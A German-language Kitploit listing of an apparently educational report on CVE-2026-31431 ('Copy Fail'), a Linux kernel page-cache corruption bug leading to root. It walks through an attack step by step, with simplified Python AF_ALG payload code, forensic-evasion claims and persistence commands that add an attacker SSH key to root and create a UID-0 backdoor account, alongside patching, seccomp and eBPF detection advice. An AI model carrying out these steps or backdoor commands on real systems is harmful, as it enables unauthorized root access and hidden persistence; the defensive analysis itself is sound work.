Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-31431-Report-Copy-fail-Vulnerability- — Detaillierte Analyse der Copy-Fail-Schwachstelle (CVE-2026-31431) im Linux-Kernel, einschließlich des Mechanismus der Speicherkorruption, des Ablaufs der Privilegienausweitung und der Sicherheitsauswirkungen. | Kitploit
Tools/GitHubGitHub/krish-foren6/cve-2026-31431-report-copy-fail-vulnerability-
Privilege EscalationSpeicherforensikSchwachstellenanalyseExploitationLernen & BildungIncident ResponseContainer-Ausbruch
GitHubkrish-foren6/cve-2026-31431-report-copy-fail-vulnerability-

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-31431-Report-Copy-fail-Vulnerability-

Detaillierte Analyse der Copy-Fail-Schwachstelle (CVE-2026-31431) im Linux-Kernel, einschließlich des Mechanismus der Speicherkorruption, des Ablaufs der Privilegienausweitung und der Sicherheitsauswirkungen.

Repository anzeigen
1vor 3 MonatenNoch nicht geprüft

CVE-2026-31431 — Copy Fail: Linux-Kernel-Privilege-Eskalation

CVE CVSS Kernel Type Purpose

Bildungsanalyse der Copy-Fail-Schwachstelle im Linux-Kernel.
Behandelt den Speicherkorruptionsmechanismus, den Privilege-Escalation-Ablauf, den Container-Ausbruch und defensive Gegenmaßnahmen.


⚠️ Haftungsausschluss

Dieses Repository dient ausschließlich Bildungs- und Forschungszwecken.
Verwenden Sie diese Informationen nicht auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Testgenehmigung haben.
Alle Codeausschnitte und Befehle dienen ausschließlich dem Verständnis der Interna des Linux-Kernels.


Inhaltsverzeichnis

  • Überblick
  • Schwachstellen-Steckbrief
  • Hintergrundkonzepte
  • Wie der Fehler funktioniert
  • Vollständiger Angriffsablauf
  • Warum es so gefährlich ist
  • Sichere praktische Beobachtung
  • Verteidigung & Erkennung
  • Vergleich mit ähnlichen CVEs
  • Glossar
  • Kurzreferenz

Überblick

CVE-2026-31431, auch bekannt als Copy Fail, ist eine Schwachstelle im Linux-Kernel, bei der ein nicht privilegierter lokaler Benutzer ohne besondere Berechtigungen zu root aufsteigen kann.

Der Angriff findet vollständig im RAM statt. Die Datei auf der Festplatte wird nie berührt — das bedeutet, dass Datei-Hashes sauber bleiben, Zeitstempel unverändert sind und Audit-Logs nichts aufzeichnen. Beim Neustart des Systems verschwinden alle Beweise.

root@kitploit:~
Normaler Benutzer  →  algif_aead-Fehler ausnutzen  →  Page Cache überschreiben  →  root

Wichtige Eigenschaften:

  • ✅ Keine Race Condition — funktioniert zuverlässig jedes Mal
  • ✅ Festplatte unberührt — Forensik findet nichts
  • ✅ Erfordert nur ein normales lokales Benutzerkonto
  • ✅ Ermöglicht Container-Ausbruch über gemeinsamen Page Cache

Schwachstellen-Steckbrief


Hintergrundkonzepte

/usr/bin/su — Das Ziel-Binary

su (Switch User) ermöglicht einem Benutzer, zu einem anderen Konto zu wechseln — typischerweise zu root. Es ist ein SetUID-Binary:

root@kitploit:~
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
#   ^-- 's' = SetUID-Flag

Das s-Flag bedeutet: Wenn irgendein Benutzer dieses Binary ausführt, wird es mit root-Berechtigungen ausgeführt. Das macht es zu einem Ziel von hohem Wert.

Seine interne Logik (vereinfacht):

root@kitploit:~
if (password_correct()) {
    give_root_access();
} else {
    deny_access();
}

Das Angriffsziel: die password_correct()-Prüfung vollständig überspringen.


RAM und Page Cache

Wenn Linux eine Datei von der Festplatte liest, behält es eine Kopie im RAM, den sogenannten Page Cache.

KomponenteBeschreibung
FestplatteOriginaldatei auf der Festplatte (das Bücherregal)
Page CacheRAM-Kopie der Datei (die Fotokopie auf Ihrem Schreibtisch)
CPULiest und führt aus dem Page Cache aus — schnell
AngreiferModifiziert die RAM-Kopie; die Festplatte bleibt unberührt
root@kitploit:~
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB  ← dies ist der Page Cache

Puffer und sicherer Puffer

TypSicherheit
Sicherer Puffer — vom Kernel zugewiesen, Größe und Grenzen kontrolliert✅ OK
Page Cache — dateigestützte RAM-Kopie, gemeinsam genutzt, ausführbar⚠️ GEFÄHRLICH, wenn beschrieben
Falscher Zeiger — durch Fehler verursachte Adresse, die überall hin zeigen kann🔴 KRITISCH

AF_ALG und algif_aead

AF_ALG (Algorithm Family) ist eine Linux-Socket-Schnittstelle, die es Benutzerprogrammen ermöglicht, Kernel-Kryptofunktionen (AES, SHA, AEAD) zu nutzen.

root@kitploit:~
socket(AF_ALG, SOCK_SEQPACKET, 0);  // Krypto-Socket öffnen

algif_aead ist das Kernel-Modul, das AEAD-Verschlüsselung (z. B. AES-GCM) über AF_ALG verarbeitet. Die Schwachstelle liegt in seinem Datenkopierschritt.

root@kitploit:~
AF_ALG  →  algif_aead  →  AES-GCM-Engine  →  Ausgabepuffer
                                ↑
                           FEHLER IST HIER

Wie der Fehler funktioniert

Der Fehler liegt nicht in der Verschlüsselungslogik. Er liegt in der Speicherverwaltung — während eines Datenkopiervorgangs wird der falsche Speicherbereich ausgewählt.

Normaler Ablauf (kein Fehler):

root@kitploit:~
destination = safe_output_buffer;       // korrekte Position
memcpy(destination, user_data, size);   // Daten sicher geschrieben

Verwundbarer Ablauf (mit Fehler):

root@kitploit:~
destination = buffer + WRONG_OFFSET;    // FEHLER: falscher Zeiger!
memcpy(destination, user_data, size);   // Daten landen im Page Cache

Der Kernel sollte in den sicheren Ausgabepuffer schreiben. Aufgrund eines falsch berechneten Offsets schreibt er in den Page Cache — der die RAM-Kopie von /usr/bin/su enthält.

Was der Angreifer im Speicher ändert

Das Binary enthält x86-64-Maschinencode. Der Angreifer zielt auf den bedingten Sprung, der die Authentifizierungsfehler auslöst:

Vor dem Angriff:

root@kitploit:~
cmp  eax, 0     ; Rückgabewert prüfen
jne  0x1234     ; wenn Fehler → Sprung zu deny
call give_root  ; root gewähren

Nach dem Angriff (2 Bytes im RAM geändert):

root@kitploit:~
cmp  eax, 0     ; gleich
90 90           ; NOP NOP ← Sprung ersetzt, Prüfung übersprungen!
call give_root  ; CPU landet hier direkt

NOP = No Operation. Die CPU tut nichts und fährt fort — die Authentifizierungsprüfung wird vollständig übersprungen.


Vollständiger Angriffsablauf

Denkweise vor dem Angriff

„Ich brauche nur ein normales Benutzerkonto. Der Kernel wird den Fehler selbst machen.
Die Festplatte bleibt sauber. Keine Logs. Funktioniert jedes Mal."

Schritt 0 — Aufklärung

root@kitploit:~
whoami && id
# uid=1000(user) gid=1000(user) ← normaler Benutzer

uname -r
# 6.1.0-generic ← im verwundbaren Bereich

ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID bestätigt

python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG verfügbar')"

Schritt 1 — Datei in den Page Cache laden

root@kitploit:~
cat /usr/bin/su > /dev/null
# /usr/bin/su ist jetzt im Page Cache geladen ✓

Schritt 2 — Das Binary reverse-engineeren

root@kitploit:~
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su

Gesucht werden: die Adresse der Auth-Funktion, der bedingte jne/jnz-Sprung und sein exakter Byte-Offset.

Schritt 3 — AF_ALG-Socket öffnen

root@kitploit:~
import socket, struct

sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)

Schritt 4 — Präparierte Nutzlast senden

root@kitploit:~
payload = b'\x90\x90'  # NOP NOP — ersetzt den bedingten Sprung
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])

Schritt 5 — Kernel überschreibt den Page Cache

root@kitploit:~
# Kernel intern (vereinfacht):
destination = buffer + crafted_offset  # FEHLER: falscher Zeiger
memcpy(destination, payload, 2)        # NOP-Bytes in den Page Cache geschrieben
# Die Passwortprüfung von /usr/bin/su ist jetzt NOP NOP im RAM

Schritt 6 — Auslösen

root@kitploit:~
su
# Passwort: (irgendetwas — oder einfach Enter drücken)
# root@victim:/# ← ROOT ERHALTEN

Was passiert ist: Das System führte /usr/bin/su aus dem RAM aus. Die Passwortprüfung war NOP. Die CPU übersprang sie. give_root() wurde direkt aufgerufen.

Schritt 7 — Persistenz (optional)

root@kitploit:~
echo 'attacker_public_key' >> /root/.ssh/authorized_keys

useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd

Warum es so gefährlich ist

Keine Race Condition

Festplatte unberührt — Forensik versagt

Nach dem Angriff findet ein forensischer Ermittler:

root@kitploit:~
sha256sum /usr/bin/su       # GLEICHER Hash wie zuvor ← Festplatte unberührt
diff /usr/bin/su backup/su  # Kein Unterschied
grep -r 'attack' /var/log/  # Nichts
auditd-Logs                 # Kein Dateischreibvorgang aufgezeichnet

Beim Neustart wird der RAM geleert — alle Beweise sind verschwunden.

Container-Ausbruch

Container isolieren den Benutzerbereich — aber der Kernel wird gemeinsam genutzt, und der Page Cache ist Kernel-Speicher.

root@kitploit:~
Host-Kernel
├── Container 1 (isolierter Benutzerbereich)
│   └── Angreifer ist hier
├── Container 2
└── Host-Prozess

Page Cache: GEMEINSAM zwischen allen Containern und dem Host!

Ausbruchspfad: Angreifer in Container 1 liest /usr/bin/su des Hosts → löst den Fehler aus → das Host-Binary im RAM wird modifiziert → die Ausführung von su auf dem Host ergibt root auf dem Host-Rechner.

Betroffen: Docker, Podman, LXC, Kubernetes (gemeinsame Knoten) — wenn der Host-Kernel verwundbar ist.


Sichere praktische Beobachtung

Dies sind nur Beobachtungsübungen. Verwenden Sie für Tests eine Laborumgebung (Docker + VM mit altem Kernel).

Page Cache beobachten

root@kitploit:~
free -h                      # Cache-Wert vorher notieren
cat /usr/bin/su > /dev/null  # Datei in den Page Cache laden
free -h                      # Cache steigt leicht an

Speicherzuordnung des Binaries anzeigen

root@kitploit:~
su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su

Binary untersuchen

root@kitploit:~
xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'

Assembly anzeigen (gdb)

root@kitploit:~
sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit

Festplatten- vs. RAM-Hash

root@kitploit:~
sha256sum /usr/bin/su
# Normalerweise identisch mit der Festplatte — unterscheidet sich nach einem erfolgreichen Angriff
# /proc/PID/mem-Vergleich erfordert root

Verteidigung & Erkennung

Sofortige Gegenmaßnahmen

Priorität 1 — Kernel-Update (beste Lösung)

root@kitploit:~
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot

# RHEL / CentOS
sudo yum update kernel
sudo reboot

Priorität 2 — algif_aead deaktivieren

root@kitploit:~
sudo modprobe -r algif_aead

echo 'install algif_aead /bin/false' | \
  sudo tee /etc/modprobe.d/disable-algif-aead.conf

Priorität 3 — Zugriffskontrollen
Wenden Sie Seccomp-Profile mit SystemCallFilter in systemd-Diensten an, um den AF_ALG-Socket-Zugriff für nicht vertrauenswürdige Prozesse einzuschränken.


Erkennung

eBPF-Echtzeiterkennung

root@kitploit:~
sudo bpftrace -e '
  kprobe:algif_aead_sendmsg {
    printf("ALERT: algif_aead sendmsg von PID %d (Benutzer %d)\n", pid, uid);
  }
'

Container-Härtung

root@kitploit:~
# Mit Seccomp-Profil ausführen (blockiert AF_ALG)
docker run --security-opt seccomp=custom-profile.json my-image
  • Seccomp-Profile verwenden, die die AF_ALG-Socket-Erstellung blockieren
  • gVisor oder ähnliche Kernel-Isolation für Hochrisiko-Workloads verwenden
  • Privilegierte Container vermeiden
  • Schreibgeschütztes Root-Dateisystem in Containern einrichten
  • Kubernetes-Pod-Sicherheitsstandards anwenden — restricted-Richtlinie

Vergleich mit ähnlichen CVEs

CVE-2026-31431 kombiniert Tarnung (Festplatte unverändert) + Zuverlässigkeit (keine Race Condition) + Container-Ausbruch — was es in seiner Klasse einzigartig gefährlich macht.


Glossar


Kurzreferenz

Angriffsablauf auf einen Blick

Verteidigungs-Checkliste

  • Kernel sofort auf gepatchte Version aktualisieren
  • algif_aead-Modul deaktivieren, wenn nicht benötigt
  • eBPF- oder Falco-Kernel-Level-Überwachung aktivieren
  • Container-Seccomp-Profile aktualisieren, um AF_ALG zu blockieren
  • Speicherbasierte Binary-Integritätsprüfungen planen
  • Incident-Response-Plan überprüfen und aktualisieren

Der Einzeiler

Bei CVE-2026-31431 hat das Krypto-Modul des Linux (algif_aead) einen Speicherkopierfehler, der dazu führt, dass angreiferkontrollierte Daten im Page Cache statt im sicheren Ausgabepuffer landen — wodurch ein SetUID-Binary im RAM stillschweigend modifiziert wird — und jedem lokalen Benutzer root-Zugriff ermöglicht, ohne eine einzige Spur auf der Festplatte zu hinterlassen.


Dieses Dokument wurde für das bildungsbezogene Verständnis der Sicherheitsinterna des Linux-Kernels erstellt.
— Nur für Bildungszwecke —

📄 Vollständiger Bericht (PDF)

👉 Vollständigen Bericht herunterladen

Tool herunterladen
FeldWert
CVE-IDCVE-2026-31431
Allgemeiner NameCopy Fail / algif_aead Page-Cache-Korruption
CVSS v3.1-Score7.8 — KRITISCH
AngriffsartLokale Privilege-Eskalation (LPE)
Betroffene Kernel-VersionenLinux 5.10 bis 6.8 (ca.)
Verwundbare Komponentecrypto/algif_aead.c — AF_ALG-Socket-Schnittstelle
AusbeutungszuverlässigkeitHOCH — Keine Race Condition erforderlich
Festplatten-BeweiseKEINE — Nur RAM-Modifikation
Container-AuswirkungJA — Host-Ausbruch über gemeinsamen Page Cache
Patch-StatusVerfügbar (Upstream-Kernel-Patch veröffentlicht)
CVERace Condition?Festplatte sicher?Zuverlässigkeit
CVE-2016-5195 DirtyCowJA — Timing erforderlichNEIN — Festplatte modifiziertMittel
CVE-2022-0847 DirtyPipeMinimalJA — Nur RAMHoch
CVE-2026-31431 Copy FailNEIN — direkter SchreibzugriffJA — Nur RAMSEHR HOCH
ErkennungsmethodeFunktioniert?
sha256sum / Datei-Hash❌ Festplatte ist identisch
Dateiänderungszeitstempel❌ Festplatte unberührt
auditd-Dateischreib-Logs❌ Kein Festplattenschreibvorgang erfolgt
Prozessspeicher-Inspektion (/proc)✅ Nur wenn in Echtzeit überwacht
eBPF-Kernel-Überwachung✅ Syscall-Ebene-Erkennung
Speicherforensik (LiME)✅ Aber komplex
MethodeBefehl / Ansatz
Kernel-Versionuname -r → mit gepatchter Version vergleichen
Modul geladen?lsmod | grep algif_aead
eBPF-Überwachungbpftrace -e 'kprobe:algif_aead_sendmsg { ... }'
Prozessspeichercat /proc/PID/maps — mit Festplatten-Hash vergleichen
auditdausearch -sc socket -sv no
FalcoRegel: unerwarteter memfd oder Page-Cache-Schreibvorgang
SpeicherforensikLiME-Dump für die Analyse nach einem Vorfall
CVE / NameRace Condition?Festplatte sicher?Container-Ausbruch?Zuverlässigkeit
CVE-2016-5195 DirtyCowJA — Timing erforderlich❌ Festplatte modifiziertTeilweiseMittel
CVE-2022-0847 DirtyPipeMinimal✅ Nur RAMJAHoch
CVE-2026-31431 Copy FailNEIN — direkter Schreibzugriff✅ Nur RAMJA — gemeinsamer CacheSEHR HOCH
BegriffBedeutung
Privilege-EskalationAufstieg von normalem Benutzer zu root ohne Autorisierung
Page CacheKopie einer Datei im RAM, vom Kernel verwaltet
SetUID-BinaryRoot-eigene Datei, die für jeden Benutzer mit root-Rechten ausgeführt wird
Write-PrimitiveFähigkeit zum beliebigen Speicherschreiben, die durch einen Fehler erlangt wird
Race ConditionZeitbasierter Angriff, der ein präzises Ausführungsfenster erfordert
AF_ALGLinux-Kernel-Krypto-Socket-Schnittstelle (Algorithm Family)
algif_aeadAEAD-Verschlüsselungs-Kernel-Modul — die verwundbare Komponente
memcpy()Speicherkopierfunktion — verschiebt Daten von einer Adresse zu einer anderen
NOPNo Operation — CPU-Befehl, der nichts tut und fortfährt
Container-AusbruchAusbrechen aus einem Container, um auf das Host-System zuzugreifen
eBPFKernel-Level-Überwachungswerkzeug für Echtzeit-Syscall-Erkennung
LiMELinux Memory Extractor — RAM-Dump-Werkzeug für forensische Analysen
SeccompSecure Computing — Linux-Mechanismus zur Einschränkung von Syscalls
ELFExecutable and Linkable Format — Standard-Linux-Binary-Format
CVECommon Vulnerabilities and Exposures — Schwachstellenkennung
CVSSCommon Vulnerability Scoring System — standardisierte Schweregradbewertung
Kernel-ModulKernel-Plugin (z. B. Gerätetreiber, Krypto-Handler)
OffsetAbstand in Bytes von einem Speicherpunkt zu einem anderen
Reverse EngineeringAnalyse eines kompilierten Binaries ohne Zugriff auf den Quellcode
SchrittAktion
1whoami — bestätigen, dass Sie ein normaler Benutzer sind
2uname -r — prüfen, ob der Kernel im verwundbaren Bereich liegt (5.10 – 6.8)
3ls -la /usr/bin/su — bestätigen, dass das SetUID-Flag vorhanden ist
4Exploit-Skript ausführen: AF_ALG → algif_aead → präparierte Nutzlast
5Kernel-Fehler wird ausgelöst → Page Cache von /usr/bin/su im RAM überschrieben
6su ausführen → ROOT erhalten (kein Passwort erforderlich)
7Persistenz: SSH-Schlüssel hinzufügen oder Backdoor-Root-Benutzer erstellen